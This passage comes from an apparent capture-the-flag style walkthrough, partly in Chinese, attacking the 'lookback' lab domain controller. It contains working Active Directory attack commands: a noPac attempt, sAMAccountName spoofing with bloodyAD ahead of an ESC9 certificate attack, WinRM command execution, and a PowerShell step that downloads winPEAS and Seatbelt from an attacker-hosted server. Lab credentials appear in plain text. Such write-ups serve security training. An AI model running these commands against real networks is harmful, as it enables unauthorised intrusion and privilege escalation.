&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q nxc smb 172.16.55.128 -d lookback.htb -u IT-login-user -p &amp;#39;ITLogin!2026#Qw&amp;#39; -M nopac
SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\IT-login-user:ITLogin!2026#Qw 
NOPAC       172.16.55.128   445    DC01             TGT with PAC size 1641
NOPAC       172.16.55.128   445    DC01             TGT without PAC size 1641
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q python3 /home/kali/Desktop/tools/noPac/scanner.py lookback.htb/IT-login-user:&amp;#39;ITLogin!2026#Qw&amp;#39; -dc-ip 172.16.55.128


███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
                                           
                                        
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Got TGT with PAC from 172.16.55.128. Ticket size 1641
[*] Got TGT from 172.16.55.128. Ticket size 1641
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q python3 /home/kali/Desktop/tools/noPac/noPac.py lookback.htb/IT-login-user:&amp;#39;ITLogin!2026#Qw&amp;#39; -dc-ip 172.16.55.128 -use-ldap -dump

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc01.lookback.htb
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account &amp;quot;WIN-I7X138TGYVJ$&amp;quot;
[*] MachineAccount &amp;quot;WIN-I7X138TGYVJ$&amp;quot; password = (xjuA$rVynCp
[*] Successfully added machine account WIN-I7X138TGYVJ$ with password (xjuA$rVynCp.
[*] WIN-I7X138TGYVJ$ object = CN=WIN-I7X138TGYVJ,CN=Computers,DC=lookback,DC=htb
[-] Cannot rename the machine account , Reason 00000523: SysErr: DSID-031A1256, problem 22 (Invalid argument), data 0

[*] Attempting to del a computer with the name: WIN-I7X138TGYVJ$
[-] Delete computer WIN-I7X138TGYVJ$ Failed! Maybe the current user does not have permission.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ending&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;能拿 TGT、能创建机器账号&lt;/li&gt;
&lt;li&gt;重命名机器账号时报 &lt;code&gt;problem 22 (Invalid argument)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;证书欺诈&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;IT-login-user&lt;/code&gt; 更名 &lt;code&gt;administrator&lt;/code&gt;（无空格-失败）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u &amp;#39;IT-admin&amp;#39; -p &amp;#39;V9#bT6itAdmin2026!&amp;#39; set object IT-login-user sAMAccountName -v &amp;#39;administrator&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;IT-login-user&lt;/code&gt; 更名 &lt;code&gt;administrator &lt;/code&gt;（有空格-成功）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u &amp;#39;IT-admin&amp;#39; -p &amp;#39;V9bT6itAdmin2026&amp;#39; set object &amp;#39;administrator &amp;#39; userPrincipalName -v &amp;#39;administrator@lookback.htb&amp;#39;
[+] IT-login-user&amp;#39;s sAMAccountName has been updated
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;为 &lt;code&gt;administrator &lt;/code&gt; 设置 UPN 为 &lt;code&gt;administrator@lookback.htb&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u &amp;#39;IT-admin&amp;#39; -p &amp;#39;V9bT6itAdmin2026&amp;#39; set object &amp;#39;administrator &amp;#39; userPrincipalName -v &amp;#39;administrator@lookback.htb&amp;#39;
[+] administrator &amp;#39;s userPrincipalName has been updated
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;核对修改后的属性（sAMAccountName、UPN、SID）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u &amp;#39;IT-admin&amp;#39; -p &amp;#39;V9bT6itAdmin2026&amp;#39; get object &amp;#39;administrator &amp;#39; --attr sAMAccountName --attr userPrincipalName --attr objectSid

distinguishedName: CN=IT-login-user,CN=Users,DC=lookback,DC=htb
objectSid: S-1-5-21-3830242231-3868280746-2763890440-1112
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ending&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;**用户名显示为 **&lt;code&gt;**lookback\administrator**&lt;/code&gt;（无尾部空格，系统已自动 trim）。&lt;/li&gt;
&lt;li&gt;**SID 为 **&lt;code&gt;**S-1-5-21-3830242231-3868280746-2763890440-1112**&lt;/code&gt;，这是 &lt;code&gt;IT-login-user&lt;/code&gt; 的原始 SID（RID 1112），&lt;strong&gt;不是&lt;/strong&gt;内置管理员 RID 500。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组成员仅有 &lt;strong&gt;&lt;code&gt;**LOOKBACK\IT**&lt;/code&gt;&lt;/strong&gt; 等普通组&lt;/strong&gt;，无 &lt;code&gt;Domain Admins&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;**特权仅包含 &lt;strong&gt;&lt;code&gt;**SeMachineAccountPrivilege**&lt;/code&gt;&lt;/strong&gt;（允许将计算机加入域）和 **&lt;code&gt;**SeChangeNotifyPrivilege**&lt;/code&gt;，无高权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：改名成功实现了&lt;strong&gt;用户名冒充&lt;/strong&gt;，但&lt;strong&gt;权限未提升&lt;/strong&gt;。这是一个典型的“名称欺骗”而非“权限劫持”。该账户目前可用于基于名称的证书注册攻击（如 AD CS ESC1），但无法直接 DCSync&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q nxc winrm 172.16.55.128 -d lookback.htb -u &amp;#39;administrator &amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -X &amp;quot;whoami /all&amp;quot;
WINRM       172.16.55.128   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       172.16.55.128   5985   DC01             [+] lookback.htb\administrator :ITLogin!2026#Qw (Pwn3d!)                                                                                                    
WINRM       172.16.55.128   5985   DC01             [+] Executed command (shell type: powershell)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             USER INFORMATION
WINRM       172.16.55.128   5985   DC01             ----------------
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             User Name               SID
WINRM       172.16.55.128   5985   DC01             ======================= ==============================================                                                                                      
WINRM       172.16.55.128   5985   DC01             lookback\administrator  S-1-5-21-3830242231-3868280746-2763890440-1112                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             GROUP INFORMATION
WINRM       172.16.55.128   5985   DC01             -----------------
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             Group Name                                  Type             SID                                            Attributes                                      
WINRM       172.16.55.128   5985   DC01             =========================================== ================ ============================================== ==================================================                                                                                                      
WINRM       172.16.55.128   5985   DC01             Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             LOOKBACK\IT                                 Group            S-1-5-21-3830242231-3868280746-2763890440-1109 Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group                                                                                                      
WINRM       172.16.55.128   5985   DC01             Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448                                                                                    
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             PRIVILEGES INFORMATION
WINRM       172.16.55.128   5985   DC01             ----------------------
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             Privilege Name                Description                    State                                                                                          
WINRM       172.16.55.128   5985   DC01             ============================= ============================== =======                                                                                        
WINRM       172.16.55.128   5985   DC01             SeMachineAccountPrivilege     Add workstations to domain     Enabled                                                                                        
WINRM       172.16.55.128   5985   DC01             SeChangeNotifyPrivilege       Bypass traverse checking       Enabled                                                                                        
WINRM       172.16.55.128   5985   DC01             SeIncreaseWorkingSetPrivilege Increase a process working set Enabled                                                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             USER CLAIMS INFORMATION
WINRM       172.16.55.128   5985   DC01             -----------------------
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             User claims unknown.
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             Kerberos support for Dynamic Access Control on this device has been disabled.                      
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Final Ending-ESC9弱证书映射&lt;/h1&gt;
&lt;h2&gt;winpeas&amp;amp;Seatbelt&lt;/h2&gt;
&lt;h3&gt;upload&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q nxc winrm &amp;#39;172.16.55.128&amp;#39; -d &amp;#39;lookback.htb&amp;#39; -u &amp;#39;administrator &amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -X &amp;#39;$ProgressPreference=&amp;quot;SilentlyContinue&amp;quot;; Invoke-WebRequest -UseBasicParsing -Uri &amp;quot;http://172.16.55.193:8000/winPEASx64.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\winPEASx64.exe&amp;quot;; Invoke-WebRequest -UseBasicParsing -Uri &amp;quot;http://172.16.55.193:8000/Seatbelt.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\Seatbelt.exe&amp;quot;; Get-Item &amp;quot;C:\ProgramData\Seatbelt.exe&amp;quot;,&amp;quot;C:\ProgramData\winPEASx64.exe&amp;quot; | Select-Object FullName,Length&amp;#39;
WINRM       172.16.55.128   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       172.16.55.128   5985   DC01             [+] lookback.htb\administrator :ITLogin!2026#Qw (Pwn3d!)                                                                                                    
WINRM       172.16.55.128   5985   DC01             [+] Executed command (shell type: powershell)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             FullName                        Length
WINRM       172.16.55.128   5985   DC01             --------                        ------
WINRM       172.16.55.128   5985   DC01             C:\ProgramData\Seatbelt.exe     556032
WINRM       172.16.55.128   5985   DC01             C:\ProgramData\winPEASx64.exe 10170880
WINRM       172.16.55.128   5985   DC01    
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/hmv/lookback/myself/tools]
└─# updog -p 8000
[+] Serving /home/kali/Desktop/hmv/lookback/myself/tools on 0.0.0.0:8000...
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://61.139.2.134:8000
Press CTRL+C to quit
172.16.55.128 - - [11/Apr/2026 07:07:50] &amp;quot;GET /winPEASx64.exe HTTP/1.1&amp;quot; 200 -
172.16.55.128 - - [11/Apr/2026 07:07:50] &amp;quot;GET /Seatbelt.exe HTTP/1.1&amp;quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;run&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ proxychains -q nxc winrm &amp;#39;172.16.55.128&amp;#39; -d &amp;#39;lookback.htb&amp;#39; -u &amp;#39;administrator &amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -X &amp;#39;Start-Process -FilePath &amp;quot;C:\ProgramData\winPEASx64.exe&amp;quot; -ArgumentList &amp;quot;quiet&amp;quot; -RedirectStandardOutput &amp;quot;C:\ProgramData\winpeas_out.txt&amp;quot; -RedirectStandardError &amp;quot;C:\ProgramData\winpeas_err.txt&amp;quot; -WindowStyle Hidden -Wait; Get-Item &amp;quot;C:\ProgramData\winpeas_out.txt&amp;quot;,&amp;quot;C:\ProgramData\winpeas_err.txt&amp;quot; | Select-Object FullName,Length&amp;#39;
WINRM       172.16.55.128   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       172.16.55.128   5985   DC01             [+] lookback.htb\administrator :ITLogin!2026#Qw (Pwn3d!)
WINRM       172.16.55.128   5985   DC01             [+] Executed command (shell type: powershell)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             FullName                       Length
WINRM       172.16.55.128   5985   DC01             --------                       ------
WINRM       172.16.55.128   5985   DC01             C:\ProgramData\winpeas_out.txt 129138
WINRM       172.16.55.128   5985   DC01             C:\ProgramData\winpeas_err.txt      0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;content&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ proxychains -q nxc winrm &amp;#39;172.16.55.128&amp;#39; -d &amp;#39;lookback.htb&amp;#39; -u &amp;#39;administrator &amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -X &amp;#39;Get-Content &amp;quot;C:\ProgramData\winpeas_out.txt&amp;quot;&amp;#39;
WINRM       172.16.55.128   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       172.16.55.128   5985   DC01             [+] lookback.htb\administrator :ITLogin!2026#Qw (Pwn3d!)                                                                                                    
WINRM       172.16.55.128   5985   DC01             [+] Executed command (shell type: powershell)
WINRM       172.16.55.128   5985   DC01              [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the &amp;#39;fileanalysis&amp;#39; or &amp;#39;all&amp;#39; argument. Note that this search might take several minutes. For help, run winpeass.exe --help                             
WINRM       172.16.55.128   5985   DC01             ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run &amp;#39;REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1&amp;#39; and then start a new CMD                                                   
WINRM       172.16.55.128   5985   DC01             Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with &amp;#39;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1&amp;#39; and then start a new CMD                                                             
WINRM       172.16.55.128   5985   DC01               WinPEAS-ng by @hacktricks_live
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                    /---------------------------------------------------------------------------------\                                                                  
WINRM       172.16.55.128   5985   DC01                    |                             Do you like PEASS?                                  |                                                                  
WINRM       172.16.55.128   5985   DC01                    |---------------------------------------------------------------------------------|                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Learn Cloud Hacking       :     training.hacktricks.xyz                 |                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Follow on Twitter         :     @hacktricks_live                        |                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Respect on HTB            :     SirBroccoli                             |                                                                  
WINRM       172.16.55.128   5985   DC01                    |---------------------------------------------------------------------------------|                                                                  
WINRM       172.16.55.128   5985   DC01                    |                                 Thank you!                                      |                                                                  
WINRM       172.16.55.128   5985   DC01                    \---------------------------------------------------------------------------------/                                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               [+] Legend:
WINRM       172.16.55.128   5985   DC01                      Red                Indicates a special privilege over an object or something is misconfigured                                                      
WINRM       172.16.55.128   5985   DC01                      Green              Indicates that some protection is enabled or something is well configured                                                       
WINRM       172.16.55.128   5985   DC01                      Cyan               Indicates active users
WINRM       172.16.55.128   5985   DC01                      Blue               Indicates disabled users
WINRM       172.16.55.128   5985   DC01                      LightYellow        Indicates links
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01              You can find a Windows local PE Checklist here: https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html              
WINRM       172.16.55.128   5985   DC01                Creating Dynamic lists, this could take a while, please wait...                                                                                          
WINRM       172.16.55.128   5985   DC01                - Loading sensitive_files yaml definitions file...                                                                                                       
WINRM       172.16.55.128   5985   DC01                - Loading regexes yaml definitions file...
WINRM       172.16.55.128   5985   DC01                - Checking if domain...
WINRM       172.16.55.128   5985   DC01                - Getting Win32_UserAccount info...
WINRM       172.16.55.128   5985   DC01             Error while getting Win32_UserAccount info: System.Management.ManagementException: Access denied                                                            
WINRM       172.16.55.128   5985   DC01                at System.Management.ThreadDispatch.Start()
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementScope.Initialize()
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementObjectSearcher.Initialize()                                                                                               
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementObjectSearcher.Get()                                                                                                      
WINRM       172.16.55.128   5985   DC01                at winPEAS.Checks.Checks.CreateDynamicLists(Boolean isFileSearchEnabled)                                                                                 
WINRM       172.16.55.128   5985   DC01                - Creating current user groups list...
WINRM       172.16.55.128   5985   DC01                - Creating active users list (local only)...
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01                - Creating disabled users list...
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01                - Admin users list...
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01                - Creating AppLocker bypass list...
WINRM       172.16.55.128   5985   DC01                - Creating files/directories list for search...
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ System Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                              
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Basic System Information
WINRM       172.16.55.128   5985   DC01             È Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits                                                                                
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access is denied
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing All Microsoft Updates
WINRM       172.16.55.128   5985   DC01               [X] Exception: Creating an instance of the COM component with CLSID {B699E5E8-67FF-4177-88B0-3684A3388BFB} from the IClassFactory failed due to the following error: 80070005 Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)).            
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ System Last Shutdown Date/time (from Registry)                                                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Last Shutdown Date/time        :    4/10/2026 8:46:46 PM                                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ User Environment Variables
WINRM       172.16.55.128   5985   DC01             È Check for some passwords or keys in the env variables                                                                                                     
WINRM       172.16.55.128   5985   DC01                 COMPUTERNAME: DC01
WINRM       172.16.55.128   5985   DC01                 PUBLIC: C:\Users\Public
WINRM       172.16.55.128   5985   DC01                 LOCALAPPDATA: C:\Users\administrator .LOOKBACK\AppData\Local
WINRM       172.16.55.128   5985   DC01                 PSModulePath: C:\Users\administrator .LOOKBACK\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\PowerShell\Modules\
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_ARCHITECTURE: AMD64
WINRM       172.16.55.128   5985   DC01                 Path: C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\DTS\Binn\;C:\Users\administrator .LOOKBACK\AppData\Local\Microsoft\WindowsApps
WINRM       172.16.55.128   5985   DC01                 CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
WINRM       172.16.55.128   5985   DC01                 ProgramFiles(x86): C:\Program Files (x86)
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_LEVEL: 25
WINRM       172.16.55.128   5985   DC01                 ProgramFiles: C:\Program Files
WINRM       172.16.55.128   5985   DC01                 PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
WINRM       172.16.55.128   5985   DC01                 USERPROFILE: C:\Users\administrator .LOOKBACK
WINRM       172.16.55.128   5985   DC01                 SystemRoot: C:\Windows
WINRM       172.16.55.128   5985   DC01                 ALLUSERSPROFILE: C:\ProgramData
WINRM       172.16.55.128   5985   DC01                 DriverData: C:\Windows\System32\Drivers\DriverData
WINRM       172.16.55.128   5985   DC01                 ProgramData: C:\ProgramData
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_REVISION: 4401
WINRM       172.16.55.128   5985   DC01                 USERNAME: administrator
WINRM       172.16.55.128   5985   DC01                 CommonProgramW6432: C:\Program Files\Common Files
WINRM       172.16.55.128   5985   DC01                 CommonProgramFiles: C:\Program Files\Common Files
WINRM       172.16.55.128   5985   DC01                 OS: Windows_NT
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_IDENTIFIER: AMD64 Family 25 Model 68 Stepping 1, AuthenticAMD
WINRM       172.16.55.128   5985   DC01                 ComSpec: C:\Windows\system32\cmd.exe
WINRM       172.16.55.128   5985   DC01                 SystemDrive: C:
WINRM       172.16.55.128   5985   DC01                 TEMP: C:\Users\ADMINI~1.LOO\AppData\Local\Temp
WINRM       172.16.55.128   5985   DC01                 NUMBER_OF_PROCESSORS: 4
WINRM       172.16.55.128   5985   DC01                 APPDATA: C:\Users\administrator .LOOKBACK\AppData\Roaming
WINRM       172.16.55.128   5985   DC01                 TMP: C:\Users\ADMINI~1.LOO\AppData\Local\Temp
WINRM       172.16.55.128   5985   DC01                 ProgramW6432: C:\Program Files
WINRM       172.16.55.128   5985   DC01                 windir: C:\Windows
WINRM       172.16.55.128   5985   DC01                 USERDOMAIN: LOOKBACK
WINRM       172.16.55.128   5985   DC01                 USERDNSDOMAIN: lookback.htb
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ System Environment Variables
WINRM       172.16.55.128   5985   DC01             È Check for some passwords or keys in the env variables                                                                                                     
WINRM       172.16.55.128   5985   DC01                 ComSpec: C:\Windows\system32\cmd.exe
WINRM       172.16.55.128   5985   DC01                 DriverData: C:\Windows\System32\Drivers\DriverData
WINRM       172.16.55.128   5985   DC01                 OS: Windows_NT
WINRM       172.16.55.128   5985   DC01                 Path: C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\DTS\Binn\
WINRM       172.16.55.128   5985   DC01                 PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_ARCHITECTURE: AMD64
WINRM       172.16.55.128   5985   DC01                 PSModulePath: C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\PowerShell\Modules\
WINRM       172.16.55.128   5985   DC01                 TEMP: C:\Windows\TEMP
WINRM       172.16.55.128   5985   DC01                 TMP: C:\Windows\TEMP
WINRM       172.16.55.128   5985   DC01                 USERNAME: SYSTEM
WINRM       172.16.55.128   5985   DC01                 windir: C:\Windows
WINRM       172.16.55.128   5985   DC01                 NUMBER_OF_PROCESSORS: 4
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_LEVEL: 25
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_IDENTIFIER: AMD64 Family 25 Model 68 Stepping 1, AuthenticAMD
WINRM       172.16.55.128   5985   DC01                 PROCESSOR_REVISION: 4401
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Audit Settings
WINRM       172.16.55.128   5985   DC01             È Check what is being logged 
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Audit Policy Settings - Classic &amp;amp; Advanced                                                                                                     
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ WEF Settings
